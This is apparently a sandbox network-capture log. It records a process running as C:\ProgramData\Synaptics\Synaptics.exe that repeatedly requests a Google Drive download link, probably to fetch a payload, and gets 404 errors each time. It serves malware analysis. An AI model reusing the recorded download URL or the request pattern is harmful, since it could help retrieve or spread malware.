2025-01-02 19:28:18 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49778	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:19 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:19 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5V_15YxdTxDEpNpK1w1nuXIfMe7afuBe9qK4Tc4R-krchyid8BkHmUu0JgL3iVh1anaFioH1k Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:19 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-m5bvOx2LFobT6IiUA2bo4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:19 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:19 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 36 56 74 71 4b 6c 68 45 45 7a 76 32 57 58 38 4a 4f 30 50 4a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="E6VtqKlhEEzv2WX8JO0PJQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:19 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49779	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:19 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-t4jj_roKY9yBnqmcx-VD7Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49780	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:19 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-7ufha_g3p6kTYLrbDNeFhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49781	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:19 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:19 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7ZqAKhuEaWuP74Kp2a-1tubu96Ft8qxHSZCmmgd_6jTWKR9MYUe4ydf8_ijX0upYn- Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:19 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-bt0XB0GhM-hrMFgCCvRMoQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:19 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:19 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 51 62 61 35 69 39 47 6f 71 44 46 6b 37 7a 71 77 35 63 77 52 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="RQba5i9GoqDFk7zqw5cwRA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:19 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49789	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:20 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RybiK4X_VVhdLF5SLR0FxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49790	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:20 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5SqrKfDMJYhBbKZKKbUK_8fUoz-c-LPeed5Lrsom4sDCssQo_GPy6NzUyvEvHqzJuy Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:20 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-frySz02RV1x3MQz_tWHvTQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:20 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:20 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 6b 6b 46 53 41 43 76 42 35 43 57 64 31 79 4b 34 57 66 63 77 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="okkFSACvB5CWd1yK4WfcwA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:20 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49794	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:20 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--FWWbb0MJfkOxaUZH4SmAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49797	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:20 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4S0kLIOics7_q3_4cNJkxS6ct2jvp3PerxE1aCF3QuKxBCTuj9KPyQVxA5-8fjx_nCZRpaA8Q Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:20 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lD5_a3EBbkdJQiqPB49sJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:20 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:20 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 73 63 72 6c 53 63 43 5a 46 62 6e 36 31 43 5a 69 45 4d 79 4e 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="iscrlScCZFbn61CZiEMyNQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:20 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
